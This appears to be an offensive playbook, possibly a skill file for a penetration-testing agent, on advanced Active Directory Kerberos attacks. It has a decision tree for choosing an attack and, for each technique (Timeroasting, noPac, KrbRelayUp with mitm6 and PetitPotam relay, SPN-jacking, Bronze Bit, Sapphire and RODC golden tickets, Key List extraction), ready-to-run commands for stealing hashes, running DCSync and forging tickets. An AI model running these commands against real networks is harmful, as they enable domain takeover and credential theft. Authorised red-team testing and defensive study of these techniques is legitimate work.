Trigger Conditions
- Need to use advanced Kerberos techniques (noPac / KrbRelayUp / Timeroasting / RODC)
- Basic Kerberoasting and delegation attacks are not enough
- Discover an RODC (Read-Only Domain Controller)
- Need higher-stealth ticket forgery (Sapphire ticket)
Prerequisites
| Technique | Required Credentials | Key Tools |
|---|---|---|
| Timeroasting | No credentials required | timeroast, netexec |
| ASREQroast | No credentials required (MITM required) | PCredz |
| noPac | Low-privilege domain user | noPac.py, Impacket |
| KrbRelayUp | Local SYSTEM | KrbRelayUp, krbrelayx |
| SPN-jacking | Domain user + WriteSPN | Impacket, tgssub |
| UnPAC-the-hash | User certificate | PKINITtools, Rubeus |
| Bronze Bit | Constrained delegation service account | Impacket getST |
| Sapphire ticket | krbtgt hash | Impacket ticketer |
| RODC Attack Chain | Depends on the stage | Rubeus, bloodyAD, keylistattack |
Technique Selection Decision Tree
你目前有什么?
├── 无凭证/无认证
│ ├── 可达 DC NTP → Timeroasting
│ └── 有 MITM 位置 → ASREQroast
├── 低权限域用户
│ ├── MAQ > 0 → sAMAccountName spoofing (noPac)
│ └── 有 WriteSPN 权限 → SPN-jacking
├── 本地 SYSTEM (无域凭证)
│ └── LDAP signing 未强制 → KrbRelayUp
├── 持有证书
│ └── UnPAC-the-hash
├── 有受限委派 + 目标受保护
│ └── Bronze Bit (CVE-2020-17049)
├── 已有 krbtgt hash
│ └── 需高隐蔽 → Sapphire ticket
└── 发现 RODC
└── RODC 攻击链
1. Timeroasting — NTP Unauthenticated Hash Extraction
Principle
The DC's NTP service uses the computer account's NTLM hash (MD5-based key) to compute the MAC value in the NTP response. An attacker does not need any authentication; by simply sending NTP requests and specifying different RIDs, they can obtain the computer account's SNTP hash for offline cracking. This hash is based on the RC4 key, and if the computer account uses a weak password (such as Pre-Windows 2000 devices), it can be cracked quickly.
Prerequisites
- Network reachability to the DC's NTP port (UDP 123)
- No authentication credentials required
Core Commands
# 无认证枚举 — Linux
python3 timeroast.py "$DC_IP"
# netexec 模块
netexec smb "$DC_IP" -M timeroast
# Windows — 认证模式 (可生成针对性字典)
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP -GenerateWordlist
# 破解 SNTP hash
hashcat -m 31300 -a 0 -O hashes.txt $WORDLIST --username
Success Indicators
- Obtain the SNTP hash file
- hashcat cracks the computer account password
- Note: Cracking speed is about 10 times faster than Kerberos TGS hashes
2. ASREQroast — MITM AS-REQ Capture
Principle
When the attacker is in a MITM position (ARP spoofing, ICMP redirect, DHCPv6 poisoning), they can capture the AS-REQ encrypted timestamp from a domain user's normal Kerberos pre-authentication. This timestamp is encrypted with a key derived from the user's password and can be cracked offline. Unlike AS-REP Roasting, ASREQroast does not require the target to have pre-authentication disabled.
Prerequisites
- Have a MITM position (ARP/ICMP redirect/DHCPv6)
- No domain credentials required
Core Commands
# 实时抓取
Pcredz -i $INTERFACE -v
# 从 pcap 文件提取
Pcredz -f "$PCAP_FILE"
# 从目录批量提取
Pcredz -d "$PCAP_DIR"
# 破解 AS-REQ Pre-Auth etype 23
hashcat -m 7500 asreq_hashes.txt $WORDLIST
Success Indicators
- Capture the user's AS-REQ encrypted timestamp hash
- hashcat cracks the user's plaintext password
3. sAMAccountName Spoofing (noPac) — CVE-2021-42278 + CVE-2021-42287
Principle
CVE-2021-42278 allows modifying a computer account's sAMAccountName to a value without $ . CVE-2021-42287 causes the KDC to automatically append $ when it cannot find the requester. Combined exploitation: create a machine account → rename it to the DC name (without $) → request a TGT → rename it back → use the TGT to perform S4U2self to obtain a high-privilege TGS for the DC.
Prerequisites
- Low-privilege domain user credentials
- MAQ (ms-DS-MachineAccountQuota) > 0
- Patches KB5008102 + KB5008380 not installed
Core Commands
# 自动化 — 一键利用
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -dump
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -use-ldap -dump
# 手动链 — UNIX (Impacket)
# Step 1: 创建机器账户
addcomputer.py -computer-name 'FAKEPC$' -computer-pass 'FakePass123' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 2: 清除 SPN (避免约束检查)
addspn.py --clear -t 'FAKEPC$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: 改名为 DC
renameMachine.py -current-name 'FAKEPC$' -new-name "$DC_NAME" -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 4: 用 DC 名请求 TGT
getTGT.py -dc-ip $DC_IP "$DOMAIN/$DC_NAME:FakePass123"
# Step 5: 改回原名
renameMachine.py -current-name "$DC_NAME" -new-name 'FAKEPC$' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 6: S4U2self 获取 DC ST
export KRB5CCNAME="$DC_NAME.ccache"
getST.py -self -impersonate "Administrator" -altservice "cifs/$DC_FQDN" -k -no-pass -dc-ip $DC_IP "$DOMAIN/$DC_NAME"
# Step 7: DCSync
export KRB5CCNAME="Administrator@cifs_$DC_FQDN@$DOMAIN.ccache"
secretsdump.py -k -no-pass -dc-ip $DC_IP "$DC_FQDN"
# 手动链 — Windows
New-MachineAccount -MachineAccount "FAKEPC" -Password $(ConvertTo-SecureString "FakePass123" -AsPlainText -Force) -Domain $DOMAIN
Set-DomainObject "FAKEPC$" -Clear 'servicePrincipalName'
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "$DC_NAME" -Attribute samaccountname
Rubeus.exe asktgt /user:"$DC_NAME" /password:"FakePass123" /domain:$DOMAIN /dc:$DC_FQDN /nowrap
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "FAKEPC$" -Attribute samaccountname
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/$DC_FQDN" /dc:$DC_FQDN /ptt /ticket:$TGT_BASE64
mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:Administrator"
Success Indicators
- Obtain the DC's cifs/ldap service ticket
- DCSync successfully exports domain hashes
4. KrbRelayUp — Local Kerberos Relay Privilege Escalation
Principle
In a scenario where local SYSTEM privileges have already been obtained, relay the machine account's Kerberos authentication to the LDAP service, configure RBCD (Resource-Based Constrained Delegation), and then obtain a local administrator ticket through the S4U chain, achieving privilege escalation from SYSTEM to high privileges within the domain.
Prerequisites
- Local SYSTEM privileges
- LDAP signing not enforced
- MAQ > 0 or machine account already controlled
Core Commands
# 基础利用
KrbRelayUp.exe relay -Domain $DOMAIN -CreateNewComputerAccount -ComputerName YOURPC$ -ComputerPassword Pass
KrbRelayUp.exe spawn -m rbcd -d $DOMAIN -dc $DC_FQDN -cn YOURPC$ -cp Pass
# DNS 投毒 relay 变体 (krbrelayx + mitm6)
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP \
--victim $TARGET_SAMNAME --adcs --template Machine
mitm6 -i $INTERFACE -d $DOMAIN -hw $TARGET_FQDN --relay $ADCS_FQDN -v
# Coerced auth relay 变体
dnstool.py -u "$DOMAIN\\$USER" -p "$PASSWORD" -r attacker.$DOMAIN -a add -t A -d $ATTACKER_IP $DC_IP
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine
PetitPotam.py attacker.$DOMAIN@80/test $TARGET_IP
Success Indicators
- RBCD configuration successfully written to msDS-AllowedToActOnBehalfOfOtherIdentity
- S4U obtains local administrator ticket
- Local privilege escalation to SYSTEM / lateral movement within the domain
5. SPN-jacking — Targeted Kerberoasting via KCD + DACL Combination
Principle
When WriteSPN permission over a certain account is held and KCD is already configured in the environment, the target SPN can be "moved" to a controlled account, then the S4U chain is used to request a ticket, and finally tgssub is used to edit the SPN field in the ticket to point to the real target.
Prerequisites
- KCD (constrained delegation) already configured
- WriteSPN permission over another account
Core Commands
# UNIX — 完整 SPN-jacking 流程
# Step 1: 清除目标 B 的 SPN
addspn.py --clear -t 'ServerB$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 2: 将 B 的 SPN 添加到可控账户 C
addspn.py -t 'ServerC$' --spn "cifs/serverB.$DOMAIN" -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: S4U 请求票据
getST.py -spn "cifs/serverB.$DOMAIN" -impersonate "Administrator" "$DOMAIN/serverA\$:$PASSWORD"
# Step 4: 编辑票据 SPN
tgssub.py -in serverB.ccache -out final.ccache -altservice "cifs/serverC.$DOMAIN"
# Windows
Set-DomainObject -Identity ServerB$ -Clear servicePrincipalName
Set-DomainObject -Identity ServerC$ -Set @{serviceprincipalname="cifs/serverB.$DOMAIN"}
Rubeus.exe s4u /ticket:$TGT /impersonateuser:Administrator /msdsspn:"cifs/serverB.$DOMAIN" /altservice:"cifs/serverC.$DOMAIN" /ptt
Success Indicators
- Obtain a valid ST for the target service
- Can access the target service (cifs/http/mssql, etc.)
6. UnPAC-the-hash — PKINIT Certificate to NT Hash
Principle
The PAC of a TGT obtained via PKINIT contains the user's NT hash. Using the User-to-User (U2U) request mechanism, encrypt one's own TGS with one's own TGT, then extract the NT hash from it. Commonly used for credential extraction after ADCS attacks or Shadow Credentials attacks.
Prerequisites
- Possess a valid certificate for the target user (.pfx/.pem)
- Usually from ADCS exploitation or Shadow Credentials writing
Core Commands
# PKINITtools — Linux
gettgtpkinit.py -cert-pfx "$CERT_PFX" -pfx-pass "$PFX_PASS" "$DOMAIN/$USER" tgt.ccache
# 记录输出中的 AS-REP encryption key
getnthash.py -key '$AS_REP_KEY' '$DOMAIN'/'$USER'
# Rubeus — Windows
Rubeus.exe asktgt /getcredentials /user:"$USER" /certificate:"$CERT_PFX" /password:"$PFX_PASS" /domain:"$DOMAIN" /dc:"$DC_FQDN" /show
Success Indicators
- Successfully obtain the target user's NT hash
- Can be used for Pass-the-Hash or further attacks
7. Bronze Bit (CVE-2020-17049) — Delegation Forwardable Flag Bypass
Principle
In tickets obtained by S4U2self, the forwardable flag is set by the KDC based on whether the target user is in the Protected Users group or marked as sensitive. The Bronze Bit attack directly modifies the forwardable bit in the ticket (because the ticket is encrypted with the service account key, which the attacker already possesses), thereby bypassing the restriction and allowing the ticket to be used for S4U2proxy.
Prerequisites
- Control a service account configured with constrained delegation
- Target user is in the Protected Users group or marked "Account is sensitive and cannot be delegated"
Core Commands
getST.py -force-forwardable \
-spn "$TARGET_SPN" \
-impersonate "Administrator" \
-dc-ip "$DC_IP" \
-hashes :"$NT_HASH" \
"$DOMAIN/$SERVICE_ACCOUNT"
Success Indicators
- Obtain a forwardable ST for the protected user
- Can access the delegation target service
8. Sapphire Ticket — High-Stealth Ticket Forgery
Principle
An advanced variant of Diamond Ticket. While ordinary Golden/Diamond Tickets use a forged PAC, Sapphire Ticket obtains the target user's real PAC through the S4U2self + U2U mechanism and replaces it in the forged ticket. Since the PAC comes from the KDC's real signature, detection difficulty is extremely high.
Prerequisites
- krbtgt hash already obtained (AES + NT hash)
- Know the target user's RID and the domain SID
Core Commands
ticketer.py -request \
-impersonate 'domainadmin' \
-domain '$DOMAIN' \
-user '$USER' \
-password '$PASSWORD' \
-nthash '$KRBTGT_NT' \
-aesKey '$KRBTGT_AES' \
-user-id '$TARGET_RID' \
-domain-sid '$DOMAIN_SID' \
'baduser'
Notes
- KDC checks the PAC_REQUESTOR and PAC_ATTRIBUTES_INFO structures after the KB5008380 patch
- Missing these fields may cause KDC_ERR_TGT_REVOKED
- Comparison with Golden/Diamond: Sapphire uses a real PAC (obtained via S4U), hardest to detect
Success indicators
- Obtain a forged ticket containing a real PAC
- The ticket can pass KDC validation normally
9. RODC attack chain
Principle
A read-only domain controller (RODC) has its own krbtgt key (krbtgt_XXXXX) and controls which accounts' keys can be cached through the Password Replication Policy (PRP). Attacking an RODC can extract the keys of accounts allowed to be cached, or expand the scope of impact by modifying the PRP through the DACL.
Enumerate RODCs
# LDAP 查询
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(primaryGroupID=521)" dn sAMAccountName msDS-SecondaryKrbTgtNumber
# netexec
nxc ldap $DC_IP -u "$USER" -p "$PASSWORD" -M rodc
PRP policy query
# msDS-RevealOnDemandGroup — 允许缓存列表
# msDS-NeverRevealGroup — 拒绝缓存列表
ldapsearch -H ldap://$DC_IP -b "CN=$RODC_NAME,OU=Domain Controllers,DC=$DOMAIN_DN" \
msDS-RevealOnDemandGroup msDS-NeverRevealGroup managedBy
Key List attack — extract cached keys
# 完整模式 (包含被 Denied 的)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -full "$DOMAIN/$USER:$PASS"@"$RODC"
# 正常模式 (遵循 Denied List)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" "$DOMAIN/$USER:$PASS"@"$RODC"
# 指定用户模式
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -t "$TARGET_USER" "$DOMAIN/$USER:$PASS"@"$RODC"
# Windows — Rubeus
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:rodc.kirbi /aes256:$KRBTGT_AES /user:$USER /id:$RID /domain:$DOMAIN /sid:$SID
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:rodc.kirbi /service:krbtgt/$DOMAIN
RODC Golden Ticket
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap \
/outfile:ticket.kirbi /aes256:$KRBTGT_AES \
/user:Administrator /id:500 /domain:$DOMAIN /sid:$DOMAIN_SID
- The kvno field must match the RODC's krbtgt version number
- When the ticket is submitted to a writable DC, the PAC is recalculated and validated
RODC DACL exploitation — modify the PRP to expand impact
# bloodyAD — 添加管理员到允许列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
msDS-RevealOnDemandGroup -v "CN=Domain Admins,CN=Users,DC=$DOMAIN_DN"
# bloodyAD — 清除拒绝列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
msDS-NeverRevealGroup
# powerview.py
Set-DomainObject -Identity "$RODC_DN" -Append @{'msDS-RevealOnDemandGroup'='CN=Domain Admins,CN=Users,DC=$DOMAIN_DN'}
Set-DomainObject -Identity "$RODC_DN" -Clear 'msDS-NeverRevealGroup'
- Attack chain: modify PRP → export krbtgt_XXXXX → RODC Golden Ticket → Key List attack
Pre-Windows 2000 computer account
# 默认密码 = 小写计算机名去掉 $
# 筛选: UAC=4128 + logonCount=0
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(&(userAccountControl=4128)(logonCount=0))" sAMAccountName
# 批量验证
nxc smb $DC_IP -u computers.txt -p passwords.txt --no-bruteforce
# Kerberos 认证
getTGT.py "$DOMAIN/OLDPC\$:oldpc"
Success indicators
- Extract the target account's NT hash
- Obtain an RODC Golden Ticket
- After modifying the PRP, high-privilege account keys can be cached
In-depth reference
- → references/kerberos-escalation.md — complete command reference for noPac / KrbRelayUp / Bronze Bit / SPN-jacking / Timeroasting / ASREQroast / UnPAC / Sapphire
- → references/rodc-attack.md — RODC concepts, Key List attack, RODC Golden Ticket, DACL exploitation, Pre-Windows 2000